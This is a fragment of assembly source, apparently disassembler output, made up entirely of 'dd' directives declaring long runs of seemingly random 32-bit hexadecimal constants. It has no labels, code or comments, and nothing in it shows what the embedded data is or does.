		dd 3D681101h, 0DACD265Ah, 4C291101h, 0B75908E0h, 12B09665h
		dd 0B36A0D68h, 6115BDA9h, 0E42D8B3Fh, 2508DEA9h, 0C0060888h
		dd 415F5409h, 1F6D8784h, 2F1811Dh, 2918590Fh, 0E8030FD8h
		dd 45401605h, 0F166AB1Dh, 0B62A20F2h, 0AA885BF3h, 5590429h
		dd 0B023E971h, 0B1D3BBC2h, 258887F0h, 0C8465B03h, 5EE9501Dh
		dd 27CA23F3h, 43A084B4h, 1D76199Fh, 6660D1F6h, 7A206717h
		dd 0E1CBE910h, 0B33B8C3Bh, 73E2256Dh, 0E3FE2DB0h, 3E26E226h
		dd 626D6884h, 0F2B167EEh, 8703281Ah, 9A4005EAh,	4062D373h
		dd 53C7C18Bh, 0E9262344h, 0E2A761CFh, 0E9BDF909h, 0F90445Ah
		dd 51477607h, 0B65AE92Eh, 0F939E2ADh, 0A0DEA58Eh, 5CD7E950h
		dd 0CDE029Dh, 0FB3FF5FAh, 6FD6F9FFh, 97104AB3h,	23680A26h
		dd 0D088FF4Eh, 2EB8092h, 0AFE8F381h, 0DE744C27h, 0AA6A159Ch
		dd 4549680Ch, 9E4B2835h, 0F12A1BC9h, 67F32B91h,	0E8B580D1h
		dd 0D8B64F27h, 591ED15Bh, 29067047h, 485AD017h,	0FCA31509h
		dd 69DF687Fh, 3565CE89h, 25E94CA5h, 565CC220h, 4C0B1BC3h
		dd 0C3014342h, 7ECA6032h, 0B7102E29h, 492C5B08h, 9A15030Eh
		dd 0DB3FE95Ah, 26B95605h, 5FEEF03Ah, 5D0C5650h,	63FD4D84h
		dd 0D6D83B0Ah, 30268419h, 0D550DB7Ah, 8FAAD03h,	582DA221h
		dd 12512747h, 0F95A307Eh, 0C41AB515h, 5ACDBE5Dh, 9C2A4625h
		dd 5C880213h, 9EE49566h, 14908225h, 0CFBE9C48h,	0C824E90Eh
		dd 578AD386h, 9AAC645Ah, 22620C4h, 0D51C5F21h, 6A5462ECh
		dd 0F74A8993h, 57BC3001h, 542C25BEh, 0A0DF5B7Bh, 0C1242340h
		dd 56005511h, 0E97A6617h, 16EBB9A9h, 0AB01209h,	0E1BBD418h
		dd 8914D359h, 0F16333D1h, 3064991Eh, 822D300Ah,	0BBFD1AD6h
		dd 26D987B2h, 26AE5598h, 25C5286Fh, 60BE5CE8h, 8BD0BDA5h
		dd 7AAA565Ah, 85032D7Eh, 793AC562h, 1E7B2D0Fh, 681259FAh
		dd 0DAC5F80h, 5E0B10D0h, 9FC232E9h, 740E77Dh, 303FBE56h
		dd 0DEF7782Bh, 6C50682Fh, 22353E05h, 6F5C57A7h,	1E448B17h
		dd 21EFC830h, 2B13ED47h, 0E85A73F6h, 426B2512h,	0E394DF29h
		dd 0F94BE2FCh, 0D64D78CBh, 1CD51010h, 252228BBh, 242B8E7Ch
		dd 5E4ED9DAh, 1649BE0Ch, 3DEB1E69h, 0E05056FDh,	0D034035h
		dd 49920E61h, 9703982Dh
		dd 6AD89F4Ah, 3DDB353Ch, 12D7500Ah, 6DF85913h, 0C50A2EEDh
		dd 3BA1B8FBh, 0EC647C25h, 0C8AF0F1Eh, 0F1B767C9h, 8A238868h
		dd 3A82EE2Ch, 543D4217h, 113F98DEh, 93602CE9h, 2A63E5C7h
		dd 0FD125A14h, 10F51E0Ch, 31659B04h, 935CFB14h,	0CE0D316h
		dd 800E6C38h, 666EA33h,	5DF2B1B8h, 6388B02Fh, 0ED03E913h
		dd 41D2B2B4h, 0F18F00AFh, 783E0ADAh, 0CBF03BF6h, 0C1A54DE9h
		dd 52FC07DBh, 4E7CD37Bh, 0B1007144h, 0BCC180FDh, 6E1C007h
		dd 0E987C9FEh, 0EA95119Dh, 8510DD19h, 52D2E61h,	0AADAEB4Fh
		dd 9B0814F7h, 0E28100C0h, 519622F1h, 0E0ECC2A1h, 819FDD41h
		dd 80C0E98Fh, 0E0D6C97Ah, 45C07375h, 2333CF81h,	0F0184F57h
		dd 0D0044EE6h, 0BFE91151h, 75BBC9D1h, 553DF728h, 70F9FE95h
		dd 0C7970D4Ch, 0DD6E3556h, 0C4617A8Fh, 0E37A6745h, 0BFDC155Bh
		dd 0F3CF1CCCh, 6D01EFCFh, 71619F4Fh, 12F3C92Eh,	0E76BB9ECh
		dd 91A7E63Eh, 1F50EE8Ch, 945000C7h, 0E9DE014Bh,	48C3855Ch
		dd 0EFD1F791h, 0E047D695h, 5272C6FEh, 8BD95377h, 9CD26968h
		dd 66BBBC64h, 0FA25E85h, 260BA10h, 0EB465DB9h, 8868F71Ah
		dd 132CC7F1h, 0F618F7A1h, 3955683Fh, 0F8DE4014h, 2DF33F67h
		dd 0C6830CABh, 722132Bh, 0E629000Ah, 21784B02h,	7FD1F248h
		dd 790F1A96h, 54C2033h,	31641276h, 0E9402124h, 0B41C6EA8h
		dd 0F374F019h, 4E798066h, 58DB0CC2h, 3C003D48h,	0E32D4B62h
		dd 74DCCB29h, 0D3954CE9h, 84A7C99Dh, 0DF8AAEFEh, 584427E6h
		dd 81D359ECh, 112199FFh, 2B73765Bh, 18192C78h, 0EE486BBCh
		dd 699DEE45h, 2FF8C121h, 0E84B4E2Bh, 74711736h,	0F05A8CF6h
		dd 0DB955F6Bh, 0B9514012h, 7904109Fh, 0D6F8E965h, 85107A14h
		dd 47210A7Ah, 5597EF1Ch, 0EA4E52AAh, 0C5C5EC2Ch, 0FC4EE927h
		dd 68510561h, 31BF4FC0h, 3FE1D911h, 7DF68ED0h, 2D12484Ah
		dd 62C80525h, 0F02F9949h, 94760377h, 0A01A5E20h, 0BC4A7AFEh
		dd 71003325h, 35323F27h, 60CC2E68h, 6836607h, 167B0148h
		dd 24A9BF70h, 6EC54A99h, 435F41CEh, 0C88DE994h,	0F17BC979h
		dd 0EDA059EEh, 0C282FD71h, 0D57D4208h, 99D6D12Bh, 2B340FEAh
		dd 8747A90Ch, 5EBEF857h, 8F26A814h, 3696EE56h, 368672EFh
		dd 0B2263278h, 623FBB78h, 5530D806h, 0E918AD16h, 0BE30CEECh
		dd 0BB7702B9h, 7EEC16Ch, 2C69D641h, 9FE1809Ch, 957EEC19h
		dd 0DAB54FC0h, 0A62A1675h, 0EE07C317h, 0E244C248h, 57FB78B2h
		dd 0A9E5DAFh, 0A6A690Ah, 0AD7E8677h, 4C5023A2h,	0B2229EF7h
		dd 0F33A4F15h, 0E9BA02ADh, 5E1D2715h, 0D19B5357h, 5A59CEA8h
		dd 29E86830h, 25F3315Bh, 0DA7C215Eh, 0CA5DE9C2h, 0F6FEEC44h
		dd 483C2A68h, 2768903Ah, 8679FDCEh, 8BC67BAFh, 202B5E65h
		dd 5D967DD4h, 6EF529AAh, 0B8ADECAh, 0BF5892FDh,	40FCC74Bh
		dd 73CF88BBh, 50FA7552h, 41D9A9D4h, 718B2BFEh, 292CF746h
		dd 0A712468Dh, 14F8594Ah, 0BEDA3D16h, 0D1526133h, 4C32BAD3h
		dd 0E222E113h, 63C38034h, 9D0B0A1Bh, 7F2D49E0h,	6BF6071Dh
		dd 9349A443h, 4131D026h, 5520295h, 16F4C3Ch, 0C025C241h
		dd 7CC87D38h, 0B5B1C90h, 0B0DD59CBh, 97F7CC20h,	0B181B9C6h
		dd 4A87636Eh, 4DC4B9A2h, 0FB800ECh, 23FE29h, 503E8C1h
		dd 607557B3h, 0DC17E926h, 0B6A95A96h, 8325ABB4h, 6E8F38BFh
		dd 1C595D40h, 16D5C780h, 64AA1DD7h, 0C48734CFh,	4C8BBA8Dh
		dd 0D5099F4Ch, 9EA68D6Ah, 0E0EC91E5h, 1A57BEFBh, 0F60DA40Ch
		dd 20C14563h, 0CC565A22h, 5AEA104Dh, 0A909F3F8h, 0B9DAEF33h
		dd 5B0A7A4Dh, 204835A3h, 0F40C5712h, 0ED16AC23h, 4DAB916Ah
		dd 7F91B4DBh, 74AB23C5h, 0D0229CE3h, 0D524684Eh, 0B8D404FEh
		dd 9B4B37Ah, 85FF75A8h,	2DA12F19h, 89BB90EAh, 0A25D5BEEh
		dd 66E90D2Bh, 0DC00248Dh, 0B8C83108h, 0E3BA4A44h, 0E688229h
		dd 2519CC1Eh, 58A9094Ch, 29A15800h, 73FA2EE1h, 0C1917F4Fh
		dd 0E59F9E1Fh, 0BC4B49DFh, 0C97F99F7h, 0F0B663Ch, 8951C8B7h
		dd 22794762h, 8100A05Fh, 3B3E83E7h, 0F7030E8Dh,	415335BCh
		dd 3629180Fh, 81011608h, 7AD07E93h, 242895FCh, 8E513994h
		dd 81207225h, 32240D40h, 8035D0F3h, 6C436D03h, 758C731h
		dd 4849C858h, 0EAED6560h, 0FD019845h, 0CA0AC2h,	4E866856h
		dd 0E8A18375h, 2F4B757Ah, 2AE107E1h, 5214F42Ch,	0CB2DAE55h
		dd 0F7BCA5ECh, 685BDFC0h, 2D464E03h, 0D416209Eh, 5814E80h
		dd 79DF3FF6h, 441DB9EBh, 9DFB6414h, 71E7B677h, 6AB7602Dh
		dd 9097FE20h, 82ACD0C1h, 5F37E400h, 76B894D8h, 98310B40h
		dd 0D466A21Ah, 63BA038Ah, 1A3E7001h, 0F8022AD1h, 0AB091EB0h
		dd 50588318h, 0D0E205C0h, 0EB76630Eh, 54F2BA20h, 26600506h
		dd 909B09E9h, 0E8D1D080h, 0BC2D4000h, 568D32Fh,	279D7513h
		dd 2550504Dh, 55725F0Bh, 206E7C3Eh, 0E6586B07h,	5ADC4C0h
		dd 2731DAB7h, 67F43B68h, 3E975267h, 5A7075B0h, 7E200C1h
		dd 0B833EA81h, 0DA90E1DEh, 0B78BD358h, 3AC2F3BFh, 8989DE5Bh
		dd 65567F72h, 44D4A864h, 5DB2C7A8h, 0B5E466D4h,	8040DFCh
		dd 87805AF1h, 9FF6B293h, 28800256h, 8156982Eh, 3BD477E3h
		dd 0EB016783h, 1A32336Fh, 0C10E8243h, 60164779h, 0B284F48h
		dd 0D9291390h, 0FC492CD9h, 0B2D6729Bh, 2F247A7Ah, 7A4ED784h
		dd 615256B6h, 0FC3CDD0Fh, 3D2CFEA5h, 0CF29034Eh, 1D9CE954h
		dd 0E5881A01h, 76B25258h, 3234F7EDh, 59511D25h,	0EA2D1233h
		dd 6128434h, 12619CB8h,	61311151h, 0CC55E6BCh, 3EE91305h
		dd 80B6F3BFh, 8D181AB9h, 8B015A06h, 54592D8Ah, 5E950E0h
		dd 0F1B86295h, 13D4ACEFh, 0F1FDE803h, 7B7C38BBh, 0C74314C0h
		dd 0EF2FE964h, 0B555CE03h, 0CFD7EF9Ah, 22C525C9h, 0E56E906h
		dd 0DFF20429h, 0B05AA52Eh, 0EFE7D1B6h, 0FD437DA8h, 58F094Ch
		dd 0F84A371Ah, 0A803D8F1h, 54729AE9h, 81A29DE1h, 295A74A1h
		dd 0E95348CEh, 18CD5C2Dh, 2777938Eh, 0E650502Bh, 7DC4494Bh
		dd 0A5AE0D87h, 3493648Bh, 853E28EEh, 2BE20733h,	0B34D4677h
		dd 1750AFA2h, 0A72745AFh, 4E4AC823h, 0FE46975Fh, 98875725h
		dd 9DE51BA9h, 6B55CA99h, 53702137h, 2E702A68h, 0E1046BCh
		dd 0D8A0CFE3h, 0B6B7E973h, 7D736ABDh, 361104E0h, 322EE026h
		dd 7F0D131Ah, 872DA3EEh, 0EBE9560Ch, 0A72522A2h, 5911A60Eh
		dd 6016960Ah, 25FD6855h, 70A0CF72h, 0FDC0A850h,	0AE1BE4EEh
		dd 0A35B4F3Ch, 0FD712ADFh, 80D83028h, 7A47B941h, 13F13BE3h
		dd 0FA9E680Eh, 59564B30h, 0FE870C5Eh, 3108D7F7h, 0CE41F172h
		dd 50F7160h, 215D34D5h,	0EAF164C8h, 7A7781D1h, 31685700h
		dd 0DBBC5B3Ah, 7F04E0ACh, 0FC537C7Dh, 62A34EC9h, 3FBC6809h
		dd 30602CFEh, 0F059166Ah, 5F590C1h, 3EE254BAh, 2175B013h
		dd 4F08CF4Ch, 95092413h, 9C95D810h, 0F26B6FC3h,	0EA5C0352h
		dd 0D3C22F65h, 6C50897h, 0A27F792Fh, 0E902096Bh, 43FCADFAh
		dd 0DE5AA161h, 0C71DB07Ch, 0C59971Ah, 0A8E4D3F1h, 0F0152127h
		dd 7A840B52h, 10575CD4h, 984D065Ch, 30057DECh, 982663CCh
		dd 0AF5FAC94h, 0DD31CD05h, 9560B088h, 7694A48Bh, 68F9F705h
		dd 0DCEB2DEFh, 5740F280h, 0C8BAC958h, 7F3BF5D9h, 0A012E4Eh
		dd 207F83ADh, 21E1F7C2h, 0B30104DCh, 3837236Dh,	0CAF2B03Fh
		dd 3FF31B16h, 0C405CC13h, 0A9BCC6E9h, 794CB35Fh, 0CC65F965h
		dd 93E9EB60h, 2733925Bh, 67FB6A4Bh, 4DD9DAA5h, 801DEB32h
		dd 9B2DBCC6h, 1E7D9689h
		dd 0DD78B5D4h, 0DE5F2727h, 8A86E9D9h, 0F53D3D74h, 3A599261h
		dd 409F8EF0h, 0C5B75E9Bh, 3DD92F07h, 4BCC0C4h, 417C614Ah
		dd 0BBDF3B57h, 0C612500h, 0B8E90BBCh, 0D67CC54Ch, 49059017h
		dd 37BAF388h, 0CCA9D2E7h, 734FB4D4h, 0BA47008h,	0B284C729h
		dd 5BB4A377h, 21C7A62h,	8371DDF9h, 39AA6697h, 0D7B43244h
		dd 0B8C02FFCh, 6A9F4348h, 0C2CDE925h, 204F7FFh,	78391612h
		dd 6CC6C29Fh, 8B7652FEh, 9763AF88h, 0DBB5C2h, 4193EAC6h
		dd 1434B0Dh, 8061EF2h, 4B5A9F1Ch, 0D4BC5E5Ah, 358EB412h
		dd 90A81C7h, 0F2627E03h, 27C6DB04h, 0E941B8F9h,	332B94EEh
		dd 0FD8D0862h, 0C868C2BCh, 0E972A157h, 994D1921h, 4929F72Eh
		dd 40B9D1EDh, 41BA8DE3h, 0FD4FF690h, 5F3DE6ECh,	41BAEA50h
		dd 0E288B87h, 0B608686Ah, 7A140D11h, 0A778F329h, 5BEE68BBh
		dd 39012E68h, 3C78C013h, 50487C97h, 75B200E4h, 0FB84A03h
		dd 17162EE4h, 8CE9897Fh, 5C1C2370h, 66656568h, 382E141h
		dd 30428F57h, 858287A9h, 0C6564D55h, 0AA165D49h, 3F5858h
		dd 9B3C4CBEh, 1CE8114h,	7AD64F7Bh, 67D4A1E9h, 45DE41B7h
		dd 1299FD82h, 0A71715h,	0BD44967Bh, 3610688Bh, 9C449976h
		dd 84045BD1h, 0E92CE8C0h, 32F16EDh, 80C1863Bh, 0C8887BC0h
		dd 0F7B55903h, 9858C528h, 525AD5h, 0EEC07AB6h, 6EF68007h
		dd 0D1753F98h, 0E310DE6Fh, 0E85AF520h, 0F8E586DDh, 0BD08DFD4h
		dd 0C0542BADh, 8D1EFD4Bh, 7508C49Bh, 57283D0Dh,	0FE0840E6h
		dd 79C5C158h, 0EA80174Fh, 2E4340BAh, 73398Eh, 7522CD4h
		dd 945E13E9h, 9274CD8Ch, 0A4094E43h, 79D189Ah, 0DFF5ACADh
		dd 1F5347B0h, 0C8526DB3h, 0D6258BA4h, 0D3BF5610h, 3EB00217h
		dd 26E13941h, 9C412A58h, 2366292Eh, 4A710A2Fh, 891224D3h
		dd 4B2F4068h, 7B2BD149h, 73F020D0h, 0F800340h, 0F82CD5C1h
		dd 0E2A7AD49h, 0AC61F1BEh, 23928256h, 406C2965h, 137E421h
		dd 0D6F776F9h, 6CE379E9h, 0CB859751h, 31E299EAh, 0AE246B0Dh
		dd 16AF79C4h, 5BD0E7DAh, 59AC8084h, 5954E5DCh, 0EA04644Ah
		dd 0CC811832h, 0C04DDCAAh, 0A89A296Ch, 407DCF4Ah, 195AF685h
		dd 785D042Eh, 78E37354h, 0FAB5EB5Bh, 1F5B1C60h,	0B49B965h
		dd 1E57D7F0h, 35876881h, 3D8C3BD9h, 540C3278h, 0A6161112h
		dd 0BD3E16FEh, 0EA98229h, 0F7AC608Fh, 0E9222E12h, 0B173168Eh
		dd 0C0207A49h, 0BD455668h, 3282AE98h, 123D5F26h, 89B11513h
		dd 7FBE8B6Fh, 0CA1124Bh, 0F4747122h, 0DDDD4E8Dh, 94840197h
		dd 0CCBD00C1h, 324A0F31h, 0D1AEEE21h, 10234273h, 0A5551825h
		dd 0E8FCF158h, 0EF6513F5h, 6DAED557h, 0E5B93093h, 0E22C5D81h
		dd 35C106A5h, 87F0ADC6h, 27C3612Eh, 4A6ED210h, 0AD282008h
		dd 0FB0B422Dh, 7A7FA63Eh, 203296F5h, 0BF05B17Ah, 0FDE3998h
		dd 0FA3786BFh, 0C4266500h, 0E9D8F705h, 5CD74CDCh, 3B140E99h
		dd 247C40CAh, 40096DFBh, 21161353h, 0F9F72925h,	0F889420Ah
		dd 482BE85Fh, 0BFB70B35h, 0C556EC1Dh, 0E9038803h, 8298A5CFh
		dd 0A7F24E8Eh, 8BA34FE2h, 0C0C7E912h, 1F6687Ch,	242EA73Dh
		dd 0D0A5CAD5h, 94A89D10h, 50CF2C8Ah, 0EEE036B5h, 6AE9590Bh
		dd 0BB3B75DDh, 6E9DD6D9h, 257FE388h, 1CDC768Ah,	81814B0Eh
		dd 7DB72CACh, 0A4FEE343h, 8BDE0901h, 0D6C6361Ch, 60E9D090h
		dd 0F934D0C4h, 73525D10h, 5B5C23BAh, 47D3814Fh,	0A8887B58h
		dd 0BD007FE4h, 572E3467h, 63ED3481h, 4984FC0Dh,	365C8C26h
		dd 0F45DD72Fh, 0FAF768F9h, 0B225B746h, 96B7C1A3h, 80AFD22Eh
		dd 0F2985DC3h, 0C049E941h, 12D7C3Ch, 30685F0h, 0DED66B4h
		dd 0A7F4FA3Fh, 44C7E483h, 4F8B6414h, 736027A3h,	91193D91h
		dd 72C33D8Dh, 0E9ED5E2Eh, 3243EB80h, 0FABD20BCh, 0D10882C8h
		dd 28F860B1h, 0F29C5371h, 9E301C2h, 14C2F354h, 48735EE2h
		dd 857F08B7h, 10CD0109h, 80DAA919h, 381679BDh, 2CAE427Ah
		dd 75035C94h, 0CBE929EFh, 0F2D302AAh, 7D7C423Fh, 2649DF80h
		dd 0CC169C5h, 832DEC3h,	0A0B3B07Ah, 57A90995h, 0B896A445h
		dd 8B5AA24Bh, 693E777Bh, 8244E92Dh, 0FC232C7Fh,	0CA5A4BA2h
		dd 0EED251B7h, 8441B3A9h, 1AAC4E58h, 410506Eh, 31FA25B1h
		dd 3F62AC7Eh, 8B05A849h, 0D199578Dh, 13A8E819h,	0F800EAF8h
		dd 51229B6Eh, 2766B8B9h, 0DFDE75FDh, 604E10Dh, 0D80640BBh
		dd 0C6DF56Ch, 6333610Bh, 80815F55h, 7B149425h, 0B83152A0h
		dd 0A9894B98h, 26FE96A5h, 88D6DD46h, 69AE28FBh,	0E3FD6C54h
		dd 5B6BABEEh, 9C4000Fh,	0F8425DEAh, 680BBFDEh, 0C072F4DCh
		dd 0F6B8A09h, 0C60119E6h, 0B008A8DCh, 3C5C609Fh, 0B61E3EB8h
		dd 0DF056101h, 404CB772h, 2665AF30h, 15C66BBBh,	0FA43AD0Ah
		dd 0F90CC716h, 0CCD2DED0h, 1BA24F0h, 51C84A48h,	6C2B3E68h
		dd 7D96C105h, 8274158Fh, 3C2CE681h, 0CE3B341h, 16E007A2h
		dd 609DDAF7h, 9FFC831h,	0ABEDE977h, 0B250D5D6h,	3668808Ah
		dd 0BDFC495Bh, 6D85E9E0h, 1ABC16B9h, 42210761h,	0B23AC140h
		dd 3A886401h, 0A4F3083h, 140DA8C9h, 0F3C203F5h,	0DA608224h
		dd 163E8BAAh, 5B7902Bh,	3BD97FF2h, 0F1FA52B4h, 0BA975534h
		dd 0AA488ECEh, 16E1C710h, 9F01D2F7h, 79BB6F77h,	81AA0A70h
		dd 0C3746B5Ch, 0C7B91185h, 5D7EAFDFh, 9AE5933Fh, 84E435FFh
		dd 0E0DEB1E9h, 0D0BD88FCh, 123C34CBh, 61A0C1FFh, 58660293h
		dd 62027548h, 6E7E0B81h, 745207A3h, 23C8DF5h, 2295795h
		dd 0FD27B0D5h, 90F9EE9Bh, 1452B65h, 0C8F91015h,	18BDD651h
		dd 514137B2h, 8149AC71h, 0E17953F6h, 40037D30h,	0D54CF7E5h
		dd 67051DE4h, 0EB0F6D52h, 2FF52007h, 95011F6Fh,	0C60B0F5Eh
		dd 0A93AD702h, 23ADF865h, 2E6A5C6Bh, 960DF61h, 0FE4497B6h
		dd 0E8408290h, 1E099881h, 0C9724BF2h, 0C8D65765h, 5DFA92BBh
		dd 533F6DEDh, 0FE55ADB4h, 8F176431h, 0D3C74983h, 0FC019035h
		dd 0BA5825F7h, 0F43B0593h, 9749E95Dh, 5451177Ah, 6E056EACh
		dd 0EC2EE019h, 0E28102BBh, 40D479E3h, 9FC54ACAh, 0B55B74BAh
		dd 70D2E989h, 8A5097ADh, 11125B90h, 84044118h, 5B0ABD77h
		dd 0C8A30881h, 3DB3053Dh, 0BC07529Fh, 68462850h, 0CBC26E20h
		dd 0C08910C1h, 6B22ECF1h, 10DA16D0h, 0E04AB71Ah, 4E654133h
		dd 94BC6C31h, 9229EDD2h, 7A407DAFh, 885F098Bh, 390B1229h
		dd 855316D8h, 6C91775h,	8B84F639h, 0F680025Ah, 0BED58473h
		dd 8B2633AAh, 0D0CEAB94h, 2776410h, 22C6A0B9h, 3EBADCA7h
		dd 0AA55FB92h, 18E09C61h, 0C40BB37Ah, 0AC17B54Ah, 0DF929EA3h
		dd 78BED284h, 0A624E9C6h, 988C9FC9h, 50EAC94Dh,	82F0BEE7h
		dd 7EED6057h, 32522536h, 260E005Dh, 95BF09C3h, 9B7C6289h
		dd 5D10D08h, 840B353h, 0EA275C8Dh, 5BD06453h, 0B903A856h
		dd 66C2D200h, 1054C78h,	504F9C10h, 0D540192Fh, 6E3F2D68h
		dd 0BF60795Eh, 4F3266B9h, 4010E819h, 992F4BFCh,	0D036E0CDh
		dd 0D20E5871h, 5EBF205h, 0C664C11Ch, 6DAA05E4h,	0C7542C08h
		dd 322C88E9h, 1BAF1FBFh, 2BDA45Dh, 3B306829h, 44CB8FDDh
		dd 89EE5E91h, 0D8012BDEh, 9679705h, 0A448137Bh,	0B613BF1h
		dd 4031EF73h, 0B55E17D0h, 0C54B12DBh, 0B4EAA598h, 965F7DA9h
		dd 0CDE680F2h, 6AF92F5Eh, 7034CBD6h, 6C3550D0h,	0A16B5FD8h
		dd 37F303C3h, 3C2D1302h, 7F07C625h, 17078E88h, 6E3CBE5Eh
		dd 79DB25E9h, 3E61B354h, 0BC408D74h, 2802FDEEh,	0FAFC462Eh
		dd 17DF3039h, 0C154DD0Ch
		dd 1A01C5Ch, 132F0552h,	2130F201h, 58BBDC0h, 71EC4EF4h
		dd 0E648B5D2h, 0F19576BDh, 38684152h, 0CF302E2Bh, 50D41E6Dh
		dd 183A953Bh, 0C118263h, 0A91D7E5Dh, 0BC53E9B2h, 9762DAAh
		dd 37816CCFh, 0F3D09724h, 1FE394EAh, 53DA090Fh,	0BA594252h
		dd 37F6088Ch, 785AD30Eh, 81C1381Eh, 81CDED58h, 0A17BD1AFh
		dd 0CC47014Ch, 5725082Ah, 0F2205F94h, 96D8BF97h, 520F428h
		dd 0F588962Eh, 4C61AE09h, 2B9898B5h, 976B636Fh,	858BA9C1h
		dd 0A44049E9h, 0D7F670B7h, 6FF74C80h, 4EA72610h, 2D689E98h
		dd 48D460BCh, 8D6FC0C0h, 15C18205h, 8AD924AFh, 97347D44h
		dd 2899B920h, 0F9B741C0h, 0F3AEB1B1h, 0FE010164h, 0C804D938h
		dd 3664Bh, 99B4362Dh, 5270BDFCh, 7906FF27h, 79FE8919h
		dd 8C6E98DFh, 53739589h, 0AE4973A5h, 50100993h,	9FDDC45Dh
		dd 0E214F6F2h, 9FFD5Bh,	392FF0EFh, 0D70144h, 52BEBB53h
		dd 0C1E96440h, 0E3714Bh, 896CB010h, 5E6DAB28h, 0AC5744CCh
		dd 7E4881FFh, 0A4EF2271h, 834E1D1h, 846A79DDh, 0C777BABEh
		dd 3482B66Ah, 421FBF67h, 1624C09Dh, 1DE9B012h, 0F07E14BDh
		dd 458735BCh, 0D0899317h, 74D82809h, 42FC68E6h,	97B8Ah
		dd 776FBED4h, 811A07C9h, 0A4582DCEh, 0C8C0BB36h, 0B3D65C6h
		dd 8DE93A91h, 0E75EB552h, 0FD9289CAh, 9568C2E9h, 603C5606h
		dd 187F2C92h, 0D427FB98h, 0D829ECC1h, 34A99CAEh, 0A5217F2Ch
		dd 2B90312h, 0FE580185h, 2C3BAA8Dh, 0E9255231h,	0FA8E4BA2h
		dd 0C2667E2Ch, 4109DBA3h, 6CDC192h, 93C0092Ah, 3FDC0F29h
		dd 213F6651h, 549EF23h,	0F15600AAh, 0D022983Fh,	0DAD9894Ah
		dd 545E073Ch, 7B2C7B9Dh, 0A7AFA606h, 0F663DA1h,	0C02F42ABh
		dd 15209029h, 3CCC927Ch, 212CC80Fh, 0CB684197h,	65B0583Eh
		dd 741527F4h, 23AF61E9h, 5292887h, 785006F5h, 9AA804Ah
		dd 60158744h, 3DEBDFF7h, 0DE37AD4Eh, 0E94F0688h, 3112712Fh
		dd 3CEF8BC2h, 0CE41573Ch, 4E0B6282h, 4E403CC4h,	945E6237h
		dd 13005BF8h, 4216A717h, 4A90E2C1h, 79D34C2Fh, 69EFC77Dh
		dd 0E984ECF9h, 25A4FEE8h, 0A00713C7h, 0C174E016h, 835A08A1h
		dd 9610D71Eh, 0E40C0142h, 10ACC3Fh, 2BCE59CFh, 6716DDA6h
		dd 59B0DCF9h, 8F88CC9Bh, 8E6801E1h, 39417B4Dh, 85801215h
		dd 300062E3h, 81745033h, 6C3C6DE5h, 0F501F613h,	790E3217h
		dd 0F07ADDF7h, 41128ABAh, 47C489FAh, 15535FBh, 0E745A0C4h
		dd 6F4A31C8h, 4E34B3A5h, 0A9954B40h, 5F9C940Ch,	816F8EB5h
		dd 6B62E930h, 7F6264F5h, 7D7C5CB2h, 0E6E9DEC0h,	9112974Eh
		dd 510772C0h, 63BBB900h, 0E72D3742h, 0CA92715h,	7809CF0h
		dd 906A3EE9h, 6016F47Bh, 8F2AFE90h, 29E41FF0h, 0CF7649D7h
		dd 4ED5019Ah, 1175591Bh, 93D9881Ch, 10F41FCCh, 0C7FE18AAh
		dd 70EF8004h, 5BF83F0Dh, 41D0C427h, 79244ABEh, 68385210h
		dd 0D1186CA5h, 0C182D4EBh, 52328C40h, 0BDD4F125h, 0B96452Dh
		dd 83338368h, 47F5E59Ah, 17FE6ADAh, 0FA74562Dh,	0DDC26674h
		dd 555A02A0h, 8EAFC38Bh, 0FDD348AFh, 0C52F774Ch, 53C8B090h
		dd 802601B3h, 19E9F0F3h, 0DF352B6Eh, 2EE917D8h,	0EB1C8CAFh
		dd 5A688160h, 3FBC535Eh, 0C55558A2h, 0EBF9AF7Dh, 62E4C2AFh
		dd 0E2D054A6h, 0A05E0668h, 0E9C88269h, 1E89C430h, 527ACBEAh
		dd 77D80C2Ah, 35F2CEB9h, 3D41B75Bh, 1FBD107Eh, 0EBE5B47Fh
		dd 0FD16F302h, 6827E97Fh, 902EB58Ch, 0EC8B5933h, 0B33F499Eh
		dd 0A72994AAh, 11203DF8h, 68530B47h, 3B464F65h,	742FC12Fh
		dd 8ACB1686h, 4FA04E95h, 81E550D1h, 74B70030h, 0E9F531D9h
		dd 56924B36h, 2245417h,	0AF6F34ABh, 0DA467509h,	9A065CB8h
		dd 0B64A4A20h, 0E5278204h, 86C9570Fh, 20B9B6E0h, 0F06A1C25h
		dd 0FE7049Dh, 80565EA1h, 2945EFC1h, 0F8547290h,	0D0B788C6h
		dd 0CD385241h, 878BA17Dh, 0E9F07F2Dh, 2CBCB8DBh, 4A69DD82h
		dd 0F5506050h, 922909Ah, 0E0C8E94Ch, 9088B479h,	215D1276h
		dd 1E839D8h, 0C27BC631h, 5F485044h, 5495E68h, 0F26784C0h
		dd 0E1C84AE4h, 9C305C70h, 0DBB32554h, 4A5EF0E2h, 5307D7A6h
		dd 0D9675B52h, 4EE25A34h, 0B912824h, 1A5FAC32h,	0C142E0F6h
		dd 1BF42D1Eh, 7824658h,	0B02B4E40h, 7E28A3C4h, 0A500068Dh
		dd 4BF908DDh, 6EE1951h,	0BF914202h, 0E9FF4440h,	0AA16CB5Eh
		dd 351EB8A8h, 0C03813E0h, 0EFD608C2h, 0E383BC4Fh, 50A6D4D1h
		dd 0D492C943h, 3C8BAB08h, 0B151D360h, 2C12B6DBh, 0ECE30h
		dd 97BB5290h, 370EA976h, 41177888h, 3272A741h, 0B61317Ch
		dd 0B705860h, 416FB354h, 4A5F0180h, 0CFFA4B05h,	0AD50F67Bh
		dd 0BD884E8Dh, 542E1ECCh, 0EDA4BF3Fh, 0E389899Eh, 96CB5602h
		dd 56259AD9h, 42205E35h, 494AEA98h, 0DF401A45h,	0CEE44E5Dh
		dd 9FF34BC9h, 0EE452AC5h, 4481CC31h, 2A6FCD3Fh,	0D2FDE075h
		dd 0C055F869h, 4BD2E90Ah, 0A494D17Fh, 105D626Eh, 41FE5D6h
		dd 0C4074963h, 803BD5D1h, 0F6539C05h, 21F0D06h,	0E9130158h
		dd 13759ECEh, 3935E8C2h, 0EC4E4FF3h, 2D5A8030h,	5EF834A6h
		dd 2CDCC26Bh, 2ED4FDA9h, 0B72FE69h, 0AEF4375Bh,	2D365027h
		dd 0CBFE2ADEh, 29665549h, 0AB242490h, 56FA2C9h,	48B4F379h
		dd 50E5E248h, 80B4E43Eh, 0C7B6C968h, 0F8C1B365h, 0AF049A3Dh
		dd 13EB54F0h, 0BE0E3F76h, 61A73D12h, 1C5F0907h,	0F528F25Bh
		dd 3D45C68h, 5153492Fh,	0DB11095Eh, 872E8755h, 9D28DAFh
